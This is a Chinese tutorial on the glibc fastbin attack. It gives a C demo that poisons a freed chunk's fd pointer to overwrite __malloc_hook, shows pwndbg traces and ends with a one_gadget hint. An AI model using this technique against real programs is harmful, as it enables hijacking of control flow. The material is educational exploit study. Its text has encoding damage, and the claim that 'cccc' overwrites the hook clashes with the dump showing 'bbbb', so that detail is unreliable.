二進(jìn)制安全之堆溢出(系列)—— fast bin attack
本文是二進(jìn)制安全之堆溢出系列的第八章節(jié),主要介紹fast bin attack。
原理

從fastbin中分配堆塊的檢測(cè)機(jī)制
if (__builtin_expect (victim_idx != idx, 0)) //檢查當(dāng)前所屬idx的size和target的size是否匹配 malloc_printerr ("malloc(): memory corruption (fast)"); do_check_remalloced_chunk (mstate av, mchunkptr p, INTERNAL_SIZE_T s) { INTERNAL_SIZE_T sz = chunksize_nomask (p) & ~(PREV_INUSE | NON_MAIN_ARENA); if (!chunk_is_mmapped (p)) {? ?assert (av == arena_for_chunk (p));? ?if (chunk_main_arena (p))? ? ?assert (av == &main_arena);? ?else? ? ?assert (av != &main_arena); } do_check_inuse_chunk (av, p); do_check_inuse_chunk檢查previnuse是否為1 chunk_is_mmapped檢查是否是mmap位是否為1,當(dāng)mmap為1的時(shí)候可以跳過(guò)此檢查
Demo
? ? #include <stdio.h> #include <malloc.h> #include <unistd.h> #include <string.h> int main(){? ? int size = 0x60;? ? char *p = malloc(size);? ? long __malloc_hook_addr = 0x7ffff7dd1b10;? ? printf("%p\n",p);? ? sleep(0);? ? free(p);? ? sleep(0);? ? printf("%p\n",p);? ? *(long*)p =? __malloc_hook_addr - 0x23;? ? sleep(0);? ? char *q = malloc(size);? ? printf("%p\n",q);? ? sleep(0);? ? char* r = malloc(size);? ? printf("%p\n",r);? ? sleep(0);? ? strcpy(r,"aaajunkjunkjunkbbbbcccc"); ///cccc會(huì)替換__malloc_hook的內(nèi)容? ? malloc(0);? ? sleep(0);? ? return 0; }
__malloc_hook_addr – 0×23的原因
? ? pwndbg> x/20gz 0x7ffff7dd1b10-0x30 0x7ffff7dd1ae0 <_IO_wide_data_0+288>:? ?0x0000000000000000? 0x0000000000000000 0x7ffff7dd1af0 <_IO_wide_data_0+304>:? ?0x00007ffff7dd0260? 0x0000000000000000 0x7ffff7dd1b00 <__memalign_hook>:? ?0x00007ffff7a92e20? 0x00007ffff7a92a00 0x7ffff7dd1b10 <__malloc_hook>: 0x0000000000000000? 0x0000000000000000 ----- __malloc_hook_addr - 0x23剛好到0x0000**7f**fff7dd0260 ----- pwndbg> x/20gz 0x7ffff7dd1b10-0x23 0x7ffff7dd1aed <_IO_wide_data_0+301>:? ?0xfff7dd0260000000? 0x000000000000007f 得到一個(gè)可以偽造size為0x7f的地址 這時(shí)把`0x7ffff7dd1aed作為target_addr,可以繞過(guò)之前fastbin的第一項(xiàng)檢測(cè) 然后將這塊地址分配出來(lái),然后構(gòu)造padding,覆蓋__malloc_hook的內(nèi)容
0x7f
的原因
? ? 為了滿足fastbin分配的第一項(xiàng)size的檢查,一般選擇的是6號(hào)索引,即malloc(0×60) 由于chunk_is_mmapped檢測(cè)的原因,不能用0×71。 0x7f作為內(nèi)存中地址的高位,而libc的地址就是0x7f開(kāi)始的,這為fastbin attack提供了便利。 unsorted bin attack可以在unlink的時(shí)候?qū)ain_arena的地址賦給bk,也可以方便的得到0x7f
調(diào)試
free p 之后的bins鏈和size位
? ? 0x70: 0x602000 ?— 0x0 0x602000:0x00000000000000000x0000000000000071
寫入target - 0x23
的地址
? ? 0x602000:? ?0x0000000000000000? 0x0000000000000071 0x602010:? ?0x00007ffff7dd1aed? 0x0000000000000000 0x7ffff7dd1aed <_IO_wide_data_0+301>:? ?0xfff7dd0260000000? 0x000000000000007f 此時(shí)的bins鏈 0x70: 0x602000 —? 0x7ffff7dd1aed (_IO_wide_data_0+301) ?— 0xfff7a92e20000000 因?yàn)閜已經(jīng)被free,我們?cè)傩薷乃膄d,就會(huì)自動(dòng)鏈接上target
malloc q 之后的bins鏈和heap
0x602000 FASTBIN { prev_size = 0, size = 113, fd = 0x7ffff7dd1aed <_IO_wide_data_0+301>, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x70: 0x7ffff7dd1aed (_IO_wide_data_0+301) ?— 0xfff7a92e20000000 此時(shí)我們的目標(biāo)chunk還在bins鏈中,需要再一次malloc出去。
malloc r之后的bins鏈和heap
? ? 0x602000 FASTBIN { prev_size = 0, size = 113, fd = 0x7ffff7dd1aed <_IO_wide_data_0+301>, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x70: 0xfff7a92e20000000 此時(shí),0x7ffff7dd1aed這個(gè)堆塊已經(jīng)被malloc出去了,即作為r的堆塊 此時(shí),__malloc_hook的內(nèi)容 pwndbg> x/20gz 0x00007ffff7dd1aed+0x23 0x7ffff7dd1b10 <__malloc_hook>: 0x0000000000000000? 0x0000000000000000
strcpy r之后__malloc_hook被覆蓋為”cccc”
? ? pwndbg> x/20gz 0x00007ffff7dd1aed+0x23? //精準(zhǔn)填充 0x7ffff7dd1b10 <__malloc_hook>:0x00000000626262620x0000000000000000 利用的時(shí)候?qū)ccc,替換為onegadget的地址 one_gadget /lib/x86_64-linux-gnu/libc-2.23.so
